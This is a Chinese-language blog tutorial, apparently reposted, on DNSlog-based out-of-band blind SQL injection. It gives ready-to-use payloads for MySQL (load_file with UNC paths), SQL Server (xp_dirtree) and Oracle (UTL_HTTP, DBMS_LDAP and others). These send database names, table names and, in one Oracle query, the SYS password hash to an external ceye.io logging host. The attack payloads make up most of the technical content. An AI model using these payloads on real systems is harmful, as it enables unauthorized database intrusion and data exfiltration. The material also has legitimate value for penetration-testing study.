dnslog

0x00前言我们在盲注的时候,会非常的繁杂,发起大量的请求容易被禁ip。爆数据的时候也比较慢,所以我们需要用到dnslog盲注。0x01dnslog盲注dnslog盲注条件:dnslog&#160

大家好,又见面了,我是全栈君,祝每个程序员都可以多学几门语言。

 0x00  前言

我们在盲注的时候,会非常的繁杂,发起大量的请求容易被禁ip。

爆数据的时候也比较慢,所以我们需要用到dnslog盲注。


0x01  dnslog盲注

dnslog盲注条件:

dnslog 盲注有一定的局限性,条件是secure_file_priv必须为空并且是windows系统。

secure_file_priv= null  不允许导入导出

secure_file_priv = /tmp   只允许在tmp 目录导入导出
secure_file_priv  =          没有具体的值

show global variables like '%secure%';

 

查看secure_file_priv 的值

如果没有需要手工设置。

可修改mysql配置文件Windows下为my.ini, 在[mysqld]下面,查看是否有:

secure_file_priv =

 

没有就手工添加。

添加完成后直接来查询

Windows但不支持 Linux ,原因如下:load_file函数在Linux下是无法用来做dnslog攻击的,因为在这里就涉及到Windows的一个小Tips——UNC路径。
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式
。因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据的

 

mysql 盲注构造 payload

and load_file(concat('\\\\',(select database()),'.fbuf5n.ceye.io\\abc'))

 

dnslog

 

 

 

dnslog

就可以看到数据库名已经被回显在dns平台上。

在一些sqlserver无回显, Oracle注入无回显、ssrf 、xxe、命令执行无回显的时候也可以用到dnslog来回显出来。

sqlserver :

payload:

DECLARE @host varchar(1024);SELECT @host=(SELECT TOP 1 name from  master.dbo.sysobjects where xtype = 'u')+'.fbut5n.ceye.io';EXEC('master..xp_dirtree"\\'+@host+'\foobar$"');

 

 

dnslog

 

 


dnslog

oracle:

SELECT UTL_INADDR.GET_HOST_ADDRESS('ip.port.b182oj.ceye.io');SELECT UTL_HTTP.REQUEST('http://ip.port.b182oj.ceye.io/oracle') FROM DUAL;SELECT HTTPURITYPE('http://ip.port.b182oj.ceye.io/oracle').GETCLOB() FROM DUAL;SELECT DBMS_LDAP.INIT(('oracle.ip.port.b182oj.ceye.io',80) FROM DUAL;SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE name='SYS')||'.ip.port.b182oj.ceye.io',80) FROM DUAL;

 

dnslog 平台:

http://ceye.io/


0x02  尾声

渗透在于折腾 

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/119968.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • 单例模式 java 三种写法_单例模式基本类图

    单例模式 java 三种写法_单例模式基本类图本文为joshua317原创文章,转载请注明:转载自joshua317博客Java单例模式推荐写法-双重检测机制实现单例模式-joshua317的博客Java单例模式推荐写法–双重检测机制实现单例双重检测机制不仅可以既线程安全问题,又解决懒加载问题,同时保证了效率。packagecom.joshua317.pattern;/***推荐使用:双重检测机制实现单例模式*既解决线程安全问题,又解决懒加载问题,同时保证了效率。*/publicclassSinglet.

    2022年8月11日
    4
  • c++中的排序函数Sort的具体用法(vb中sort函数怎么用)

    最近在刷ACM经常用到排序,以前老是写冒泡,可把冒泡带到OJ里后发现经常超时,所以本想用快排,可是很多学长推荐用sort函数,因为自己写的快排写不好真的没有sort快,所以毅然决然选择sort函数用法1、sort函数可以三个参数也可以两个参数,必须的头文件#include和usingnamespacestd;2、它使用的排序方法是类似于快排的方法,时间复

    2022年4月14日
    78
  • tkmybatis详细教程(一篇就明白)

    tkmybatis是对底层sql进行了抽象封装,不需要考虑sql怎么写,只需要按照逻辑思维,遵循tkmybatis的语法即可实现数据库操作。本文适合对springboot项目结构有一定了解的读者。本文的项目基础是一个demo项目(多模块的)。1.配置1、添加tkmybatis的依赖<dependency><groupId>tk.mybatis</groupId>

    2022年4月1日
    310
  • 「mac版」支持flash的浏览器,谷歌浏览器Chrome、火狐浏览器Firefox

    「mac版」支持flash的浏览器,谷歌浏览器Chrome、火狐浏览器Firefox谷歌浏览器的苹果系统版V87,最后一版支持flash一共两个版本,一个英特尔的处理版,一个苹果M1处理器版。下载官网:https://www.google.cn/chrome/v87.0.4280.66英特尔处理器版网盘下载黑苹果的下载这个链接:https://pan.baidu.com/s/1ZvNw-qV-_s8mYn2RGDH5cw提取码:87vfhttps://loadream.lanzouo.com/ii4lfil6l7ihttps://cloud.189.cn/t/VFz

    2022年6月1日
    78
  • linux查看java程序线程命令_linux查找字符串命令

    linux查看java程序线程命令_linux查找字符串命令在linux系统下可以通过命令查看进程,那么具体是那个命令呢?下面由学习啦小编为大家整理了linux查看进程的命令,希望对大家有帮助!一、linux查看进程的命令有ps、pstree、pgrep等1、ps显示进程信息,参数可省略-aux以BSD风格显示进程常用-efH以SystemV风格显示进程-e,-A显示所有进程a显示终端上所有用户的进程x显示无终端进程u显示详细信息f…

    2022年8月24日
    11
  • 皮尔逊相关斯皮尔曼相关_肯德尔等级相关系数

    皮尔逊相关斯皮尔曼相关_肯德尔等级相关系数相关性、spss

    2022年8月4日
    10

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号